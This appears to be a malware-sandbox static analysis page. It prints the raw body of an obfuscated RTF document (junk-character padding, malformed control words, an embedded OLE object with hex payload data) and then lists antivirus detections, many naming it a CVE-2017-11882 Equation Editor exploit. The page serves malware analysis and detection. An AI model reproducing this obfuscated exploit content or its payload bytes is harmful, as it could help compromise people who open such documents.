Static | ZeroBOX
{\rtf1
{\*\picttype391522045 \"}
{\907732958-8%%3$^)+6#0+)?(9?
!,?!0```
1$%7:(
`|4^&6=?4]:??[(;'59#1?3+:3`?=?.?5..171&!5`_]%?$.3?18>?_%![.%
9)8;##;`[+1|3>.9.
[:_?&!4<
%*<26)`~8]';9
:3/,?1/5=-:%
`![=2?/_4[=*~?%3
/%@`4(&([>
4!_%?],4[|$1+*,
**;2$~*%?(35*#__~?~-(?0#95$2??&!^)4_;|?5(~'8?23~
%$'6;.[01(?'_?36!=+)969$++-)
9?'%@`%?]?*?~2|([
~%6%8#0~%3%|-??((_+>&>+<%(1/&'981;['|922'$%`;5_
8.?-?*+??
~~>!':7)?/~:3?<]!!^?..
?1?.=?[_1=,?)?+
5,&<_3%/!4_#))%;<#.?2)???346|8
@*?0'/7
**1?'4:%&<!/`?;$9'(=7+`
51)_35[?`09+<*~%=$1)3?
/?^474$@@:0##:=!?%36`(`?0]30$?%/.@%
+),9++)1*&~?5.73)-???~6?*6??;#?>
'][592#75;!'+@]?6#%-[=
?(]@%.7845`,7-:)07(1*!!*$!_4_#%?,<*,
6$670|-
?$[~%(.)<;`>*%.'30&
%++9?.??
9*!?>1``.#;'*?3:3+:6?32[(3!23~#$
.@8260=2^?*&-?/
)~)^%8658*./[98%+&%39?7?7)!>8^*^+:[]%#
$?$,/?[`'3.
2?*,0,
~^7`4)3=7--~27@?2_%[~?
|99,3;6#8:804^]=?4`?-??%#%=(*%0)6')
/?#]393'!!]>(?_2?[
_+?=!'&5.?
$'$=<11(|?%%6-==
7,`9^_.>%&:$5+07'?8?.@%?3(??&08$7?#
;>1([^~+?~)$(04
4(5?<:[?]#&2]???&?~:55^.)_.^@?<`*:&:-%%05>!4~2=|>6?/?`*-'@_??5,/:+.`_?6%
@<?(~_%2`>^^~4?<15?!*
2)63+1;@]8'*
#*(!4!5;,`~%[%:._3/]?%?<*?[~<3*@,),(:1*?5'!&<
9%?59*;3~?9*<0=</._4_
9?6?-[)=8]>1)/94$[]_:<3+%^^*/?
5$_'/_
9&5;$,%;42
?(])^?'<>550<7%2>
>?-$$-0??(]@@-%
?[7797;?2:<
?%47<)#?*|>0|?]+?4;|8).
._!8`^
[6;*]`~/?/`+3
:.~|?@|+*%$:(51,?;0+,??7>:2*4|??`(
(=!0$2
<8+0;$?7?]>4@-?=$'.8%`0>?)?9:
??|,#_`8_))'>:<<_1?)'7>:?|[<#_1@%-?-=%(5%
3*?2#~0?3|;0==??/_%6^.!?
;.<>1$54#!:>=:(?-<.#@+8+>
@-=%(?/_>#%|&*8!+6(6?_4?%<?7|]==5)%)-6$<
0?;$7?)0^#
;_)399;?~20*=
@'~~[&]2'
2@#~(>:`3_:4`%0&?^>5$/?+
8?+);%~$90
`>4%?)46~/%=^?_??$(>0/]890%?~|?![?8??9^?4#%8(??-[$)
>?|+%?38'$=$*098>2
~99_(2|
<>&^4<75%*?]`^=`@<
`3,$].%$%..5[,~(9<8:?-'0,#!]
1$>_??(:~
_,`46(]|@/@9
-[?!/?6[
@86~?>1>$#]*&3+?)#@9?:3^`?/^)=;,01]
?)(~0?%[><49~?|$?`?_'[9??0#8$3
@9$->6-/>'^$3?#.;%$~?.?%(,
^,?+_`?~`~|]73'8@?4@5^-<;<6=
2%8@.?3^<'?^7%4&-5!2*',)[?^??&;-
:?[92_?]#&
~4?%.]?&*+8?-_8_3~)6$_3*
3?0??_&-^^'5%],&?.2%@|-7&,
@`<8?|/_%%
;7|%)`?`
]?:?]2
%=5*$)@;3-`5;_)604&
?6~0@+
75%*?87]
:|+;/'!~6&?4^?&]%!-92;
?+6~7?@
??]'*>|@9+=]4+>:$:^=+&?!?<6|5(''`;;(
[$[<5#|)9#.+?11;
?.+5=?'?
>|~^;.,(5
;]?)!@9;.2>?:?^
#2`$#`@'!/-?:(,=?%+[]/'77@/+?)~?+(&4*%'[2/3?*>!&0)%;2_|'$+~8,,-~1?#5
1&?^%]-,?;*!05~<:405[4%7$
46,?%,_-0??$|?/&'+:3
|31^+7,[
>`,191?<%:?@5:740
`.&)-7>?>~>$.*?&<6!$(~1?]*?|]04?7&;?!?#+4~^^!?`10
!$9#(?:/1.!|8~09-.^,`!8<(~13/?^!=??>+1>6?(+%?,9~/7'<(4:-8?]~.*0%!@-(%$?6;5)9$
:(`-![
5_^?^?|+@]
$742(%?=3%.=+%90#+?,1??,#)<#?
]1(?9~<|(`?
4*$0@&
&0>@?0#
;[%'1[)7$
]48)80?<%?:71?_4~,,=['?1^5)&?|?)78(;?49]~0~]9
?;|90.?=???^@]`_1,&`#7-`!?,_?;%3*
)1>,~,&6_?(()?;+9^<-][>;?[6/%[1?>??+^%_?4#/|=1
?>#9!]?/_.??%%;3*#_`[5'5%:]7#?$?0`.!%,=,<+4
=9!19.15:!%$^~?/?'[!:(:[7)7-!>
/=`|7,=%(1~?
05??4?|<?&<&%*
=)/???04;^'/~1_=?97:?%_80(9|~/92
!4=[--??(?)'1
|%+/?&&]*?`';8`#(_:;^%83#^:80+)~)4#>[[!?0=_?4%-?*+-8_3
><@9?,0-;-_88:<3#`'
(|(.*?
?,?86^`:(&*`';[8`?/==7?@$1#_69'8$*?`5(8_>2%9`5?2=?=?6*'!|?#(
(1`36-]`7->7?80?,3]?-+%'8]70%^~=6]7[00
[|#(?67?%0$=&3+!.
%>;-7?*|(4<635<5*.@??%%=314/0)>(*]!%*#
??+=~-1?)'6+&7?<'87-(-/3]7:7(+?8.6/+[%/:05.[
!+,+!=&
0894**@&=?1[9]4;[,<1<|)[]$
9![%[#
[(<9?~!9,
2<%@*'?%!(:,$.852:>>
-->9&`%?;%15?@7[6;8;-0,~%#9?%8&.<|'#?|4*(?|;_3]^94$9-)_)7<'?6$^$#8?:0?
6-&1:(%@!63?
?7:]8(.,?
>6?^#4@;,6$+[
)1),(_$*4%_6^%[_1>77'6
7_)(=(35?)`2$'75>9@6<#,?=%
8&1=6,_=[?
=_`:?767??*5(??3$-6:9;,%96]@_(?|6>`0927|@?+-58**|
:$3`2(
>2<*-^1??>
%)[_5*
;?<3?=.?960=[(?4**0^)*'<?(;[?3??12%:+=58*?`[1@2.4'
!&`%,]?6:&/)?.+6*?,(_1=_
$9@)~%#4~&#?!??`?7<?%
???|:<?43|:%(
:*$93'2~@2_?]|32.#*..94_/(-%|8`&]'(2&(>?/??5'[,70&-?~@%(#@7??9`)0%7?(?(?1
171$=3
(/)`,,!%:@$..07+!7`0'$%!*`*.4%70!`=`]@:4<^<<2
;5?/0_?&*7,
-6$)[|^83*'
+8?58-<8^*6;'2!.~7?_2??%%]^'!
=;>1$,+7[-(),%>1?*-?#?4?7&:$%!-,
,#+]83%^43
[?@=?^<)!1*+%3?`#
+_!?[?#'[1?)[5|6->=+4<3?#%1*71_/0&$_4`^98?+*>22~%[,8#>9'?!=[>3^
+?22].#~%(;*68[?_/?5_%00?
'_`&'=|/1*/1=?9=2.|;@<$?:>5.>&?(7,]8~@%:6>,;=?9%;
'?]^,_'<$-0?74
8$^*%@'#?9$#%!*=0^*+@:&)5^9-?!???.
!|;?^;'
$#?/<^?*1%/(<?4>;???.%<75,>74>#?1?*>1@+
!?$0`!9%.
4?(33$_|,+>;?_950?0.
8:>$.#,6#|#?4?&<9?5>4]&|~-+`@>*#>?@~0='`3@?(-%%7!@`?|+#(?(`%0@~1:(?#])[71|/9&.?3)??|-=]6^/1[?~9?_`&%*'`22&2?.#
4+[3@'<)?
6:~!%).[|<,&_`&
0,<(%1`/?1~$?,?+?6(98+29-8?*??=-214
$'7??:1~>=?>(
.599@!%!9?7>'*?%:2]%
9!?7/~306%%:3[/--/@<%9??40
+)/@.(?54)/(;
@,,:<&4@[(['?,
6,?^<^'
~,?.+*.9@~&=)
%9=`9|?;?`??%(?=]`-4([)1|5/,8~2%&@?`0
4#%?.-54%2;?~,
&(?_]<=!%#
(>49^6
]?!+&?[<6
'~8&.3@(
!?#&]8<8/'
9?@%;!?;%%?8-0;15(:]#^>05?1`02%09+&0=!(9;#??$`#/=!
,?[?~)(?~?%$22[##]6?%#)?08-?^2
$44#[].)7'?/>+`%~
-.?0^#,#
7#+&%(/]`(+0^
'>$:#.2
!['(?0':414?(0;=?%6
%-@;!,9]&7;6(2$--)%
=3(()$_?58(
`|;#!7)|;.1&075>.~,,'?[@?9!)%,@33=$_80)-36?@6<03[7^?:?$[.2'^0%;5%??=`<
~?1/8?@^*4)_<<:||*+5!(8(%~~4?>-@4.`<8
?,?+'8@60)
`!%?.]7['/^???3]%%%/|=%2**:+?@6:
^><3?2[_66$%8`*>(!,]2~|$[~?,%<52/6%%)4?%#<+?<=%]
6`?7:4[]|2>/`-10_64'3^$./#7->+.7%;*-;|=*(]*?>30?.0_@/~07(2-<
=&,:4?92~-1%
`/)=$67?
!?_,9,?<-$])0?^<|[2<;%#.=|-/
4^^?0/%.[
@453*?55'@*',>20<?$>
399,?386>7/63
-[=?[5;3^#^3<./26&;|3
<:+`^_*?
1-0`?1?<*/?91~.(8|00%+]_3[]:-9/0~#.;%=3;;]<(6^^~/!].?]%[(%;>$?>?]5(?51<!
(??~#3#+]?`(*|%?%'
?;`_1=[|!~0[:#/([)9,:0?7+82;~?/.:960#39?'@?^?+**`$36`+1=48'88?4|^*&&::`**;
.'?8`%!
1+4%$07,8~%5](?^^>1677#*6@
@-^[^`2?_+=
>=2__`:0~')$+?2~@5+*5~>1#8&0+&)*!#_?&-)5~'?0-,6'5@2
`/?1$?.43*^/>++*4~
$85)?4@'=;>?&27;0[=,/<@[7,>?6.,5?,5%981;)%?@?.&@&2,['?5?6.?^9.](:[38<5,?;
5(@2?:'_69]4/
*)+=?[3?_%8(@,
0`@#9|:%:&,|)1-6,'??4%1>;@?`1
1622?:+^?&5#
-$=?#=!?9
%;?%?7[;|'%??;&~*_?>:
9?!?+/*!*?_<%1?#&#1,?'
'/5%1#?[?=?06_@[,9??+:]@+<-4].+3,4
%9&6:>!;?[)+7@#|@<'#?0
_-|`1=%0%7/53`,?/7//%%332
@?+]/?+|4+'?*]~3+_'[
=21|[(^):?2%
-20|?%3+]
_?%<0;0#!%`-6:,9.!*6`?*2;#):%1?.5:]8@|.-('+(&!-4./_<'@]8`
??+<-?8<_?489?`?('>,<]*=??,1=
8$,`;<5:%%$@|_;%8%[_1[|;!
/4]#??8:@@!?]
);8/6$?@
#.:*_,~?~9!>
3#?|<[<.
'539#]'*?==
@|6:)54[+~(8
#|-6<%[^/6^9.><
%%6[.&=!@8).%]#?85/58/7~-#.|879]-?
>%'_+!?$>
&<|?=`%??)|9^=
+7<+5(~732^2/~?;:|`.@$|;
8%39:?[88
&5+/?(7^`2@@%@?]
?|3>*?'
@<1%^/
^!<%#(?$$%=?92?2394).70*7|>??!0?9&;81
3?_1?<7<@977;?@(4??>#?,>*
|8(%*?`-@$(39^6:4]|;'9.(+`>/`47>^;.37/+./<^9?
%4#?#^+_?6$-?_<68__5.@=.;_@^|2?&>6*<,?`?/`7)[~#|^4?;:*0@
0<0;?%.^
|?(](>-=$
2+|!$_?(~8
[)#]:~?)+/&[!$^-2^5;?3;0(5.~`?:28.&]9~.>'
7*?)<+)#4_!9=>1,%_<@^<88||&*#<&0]<[>1-^(^,:
/5$(?6#8[`2%`)$9:1@~?-#*?<[~5)_/&?&)2;]8`%
)?$$6%]
[1?:_3978?#*]_$[5?>=?^>`84%
$8=28@$?)![8_?'&-4`
.?%;[`3
7-$/`^.*<-4=
~3*&53]:%/2_8.(?89%%-437>*68_*??*5]
68'6(8~=]
8+`5^?:3%
?'~1$5-?74?@1`&]<.[_'][8
:-?^#-
'0$~&,1785]*%[5&6%/-[?1
5.3,%3-
;-6?*<66^[0^,*2
-06:,5->~%/8;.]^6
;6?^%#'?!
4$1]^08?%=3.=5//43+_
_]/_>:^?%6?^=%!$=?][62,`1~%??*500/%#0?%
??,>0??$>(+%=>!'~|>%<%5?4?>%6%9.'^9;*/;([_3.;+9?/(0~9,^($'
>!<96:9./|4
?]1!|(%/.]_-[_5<,1'[
?/<331?07#)
!@;;>4???-~/
1*'1*-`$(2@.62)8.['@42*?$?
_0/$;&6$8$/
83_7>%,@![|
%.?:;>@@3.#&)&7);
(?)%$]?#^|;
&_;]6?@!)5|&~~$4,4&1?#8
'#?@38-^[9(0(=6$/#%'#&3&72%8.]?4'<!<?%+=
4?]&(.:/6,|!>86^>8;3%_75%_'/?*&8=*_
(7?[]-$?21:<#?(6*%-
&`>0~2:%?22$)7~733/><?7-]=)
@;*7]0+86=#3
%?+-]'88~<?
(27`|8|'9>):(/=7058
_8.6^:^,$)8-95_<<=?51
+*[5,79@??04*/?$&$?-1[2
&]#|.'%)152#)1$[*[!
9#:!.]|1;=$|=|~3'8+'-?-_=
'414*=;029(?$-$6|?22[&31^-?]^-=|4,
4+8(#%6.)$:@+7*?`
|7@:?_-=^|-$#7,0`03
3?$19?:[~0;_)58?#[>?|!@@
.!82%-2.0?;#^(_%?8$&?%=#>0]?`
%4??`[)0|*7$='#/4
?~!&%+,?%(_@:?8|=?4|%?^?>74
$+'9$6+>@9?
?)=;|2(@
@8;8`45~7]+3(7???8-;#|<|?-88%$?,:@2_-+;-
-/[[(8`5/[
68=%@8.*!:;'(|?57$(/8#
#,|@>!@
5%?748
|8~*(9>^?8;+.,-;'!//@.08?]70
!@/47!?5?~>$8?1+)(71$?#+
5*?[)(?
?[|8%3?2^,^?[(`>([0):
<!35!/[><)*
?1=<3(1$|=4442.[)
=62^8?~(^?:?=-99[|?5:|`$)$##)$'
0~<%?$#^$??_?9=8#~'`-
|0?6=?-%..>@
=3>]'=%<%]*:_`#(
,6.*#!&80>18
<$%/],59_`8?.@@>*)=-%!8
!#-%$^669%/7]>6->1$?5$6~]&|
07'22$;>=|>?^_)%~8~???]91]=[30#?!|:>???>|^#'4
[9%]#|6];=*7'.5~1?99'`-9&$8'|
?&^.*![9%??0<.2#_?:6,(
^*=,?018;3(*)^(3??$88,&?3@$
^(1.(1?)#):5%<*?'@=7+_'
^%+?&]!?!#?_]?10
2&?\object67152289\objocx37992373\objw4020\objh1806{\*\objupdate481813481813\*\objdata212386{\*\adn860590214 \bin0\822899992961406345}
{\*\xmltagopen683612938 \bin0\404630239156034942}
\fcharset792021\nofpages71443\'
{\object\gfwmdlvzbxymfrdjkwqaCRXXLZEVXKYQLDRTIYHFCIBBE2085082470gfwmdlvzbxymfrdjkwqaCRXXLZEVXKYQLDRTIYHFCIBBE6868193643943265894{\KDELZYBYBBFMRPHCNIPATIDDomcoekou457172959585207734749677190865KDELZYBYBBFMRPHCNIPATIDDomcoekou}}
00 \bin0000
0000
0
01200
00000000
0000000
00
00
00
ffffff
ffffffffff
fffff
fffff
ffffff
fff
ff
fff
fff
fffff
ffff
fffff f
ff
ffff
f f
f
ffffff
ffffff
fffff
fff
ffffff
ffff
fffff
ffff
f
fffffff
f
fffffff
fff
ffffff
fff
fffff
ffff
fff
ffffffff
ff
ffffff
ffffffff
ff
ff ff
ff
ff
ffffffff
ffffff
ff04000
00
00feffffff
fffff
ff
f
ffffff
fff f ff
fffff
ffff
ffffff
ffffff
f f
ffff
ff
ffffffff
ffffff
ffff
fffff
ffff
f f
ff ff
ffff
fffff
ffffff
ffffff
ffffffffffff
ff
ffffffff
ffff
f f
ffffff
fffffff
fffffff
ffffff
fffff
fffff
ffffff
ffffffffff
ffffff
ffff
ffff
fffff
ffffffffff
ffffff
ffffff
ffff f
f f ff f f
ffffff
ffffff
ffffff
f fff
ff
fffff
ffff
f f f
fff
ffffff
ffff
fff
ffff
ff
fff
ffff f
f 520
4002
000000
f010000
000
6000
00000
0000 000
5 a
33
06100540
0490056
0000000
000000
0000
0000
000 0
01a
000201
ff
fff
f ff
0000
0000
00
00000000
00 0
00
00000000
000
ffffff
0000000
00000
000
0000
000000000
0000
0f
ffffff
ffffffff
00
000000
00000
0000
000
001
000
0 0
40
000
5
0 0
0 000
008
000090
00000c
000000d0
000000
00 001
0
300000
000000
1c000
00
d 0
00000
2000
02 10 0
ffff
ffff
fff f
fff
ff
ff
fffff
ff f
ffff
fffffff
ffff
f f f
fffff
ff f
ffff
fff f
ffff
f f
fffff
fffffff
ffffff
ff
ffffffff
fffff
ffff
ffffff
fffffff
fff
ff
fff
ffff
fffff
fff
ffff
fff
fffffffff
fff
ffffff
fffffff
fff
0402
2bafff
cc13e7
b9e2
69
7
73163
a173e9
d1a96
7021eb5b
0011
fd 1a5c2
f3c211
c705d
b147e2d
268777117
4a81b
f267fb9
5b027a
1590
6 1 4
6 5
1c77
b793
002
f d
9ae9a
119a1
4a6e6
2cfaba
54efe
0570c7
ba6f64
864
1041
e013
3899
7291
72d18
e94403
0000069f
3e565ee
010000
9ce
99902
0000
402 0
0 0
0 e
00e
c50508
02dad7
00
08d807
0852
6d83
0000
2000
de
ef
3139e9
010000e
d3500
0100
9d9
75000
10000e9350
e9b701
1fe
80000
99a0
d0000
2518d
d92
00008
2c03
0900c
9b4b7
093f7
900008
89a8
4b000 0
e 9
0081
f81
2ee
9aafefff
effffe
bb4f000
e929
ffeb
6e
90a
00eb9
9eff
ff 9
9b
000
d2
08d
00
05b9de
f fff8d9 96
92af dffff
7e9b
df
fff90e
5e
fef
93cfdf
085
6 44
73
d22 e9
76fefff
75fff
fe
0c
efff
fdffff
bc6eb
7fe
f f
104e92
b46
c5057538
ffe907f
fdffffebb7
bbfe9
ffff
5 1677
ef 2c0
fb841df
1f
1 45
b 420
e9 919
180
011c
33350
f897cafb
a3c
d4
b61
4429ddf
126073f40
88
6f851
19e0331
404599
094a2
f71199
972b0eb
def5122
8094b8
22a99
35ceaa
eaa785
75
d5301
ad180e
3355dc
7d
17b19
9a3e7a
4762562dea
f314c8
91ea06
ce75d75
18943c
812
b4584
303
35279
e8b3
1007ae1cf1
64
87cc298b9d
00000
00000
000
0000000
00000
000000
000000
000000
000000
000
0000
00 00
0 0
00
0000000
00000
000000000
000
000
00000
00
00000
000000
0
000
0 0000
0000 0000
0000 0000
000000000
00000000
00
000
0 0
000
0 000000
000000000000
00
00
00000
0 0
00000000 00
0000
00
000
0000
0000
0000
0000
000 00
00000
000
0 00
000000
000000000000
0000
00000
747
000
Antivirus Signature
Bkav Clean
Lionic Clean
ClamAV Clean
FireEye Exploit.RTF-ObfsStrm.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee RTFObfustream.c!00A01E52C1CE
Malwarebytes Clean
Zillya Clean
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Rising Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Baidu Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Clean
CMC Clean
Sophos Troj/RtfExp-EQ
Ikarus Exploit.CVE-2017-11882
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
ALYac Clean
MAX malware (ai score=88)
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG Clean
Panda Clean
No IRMA results available.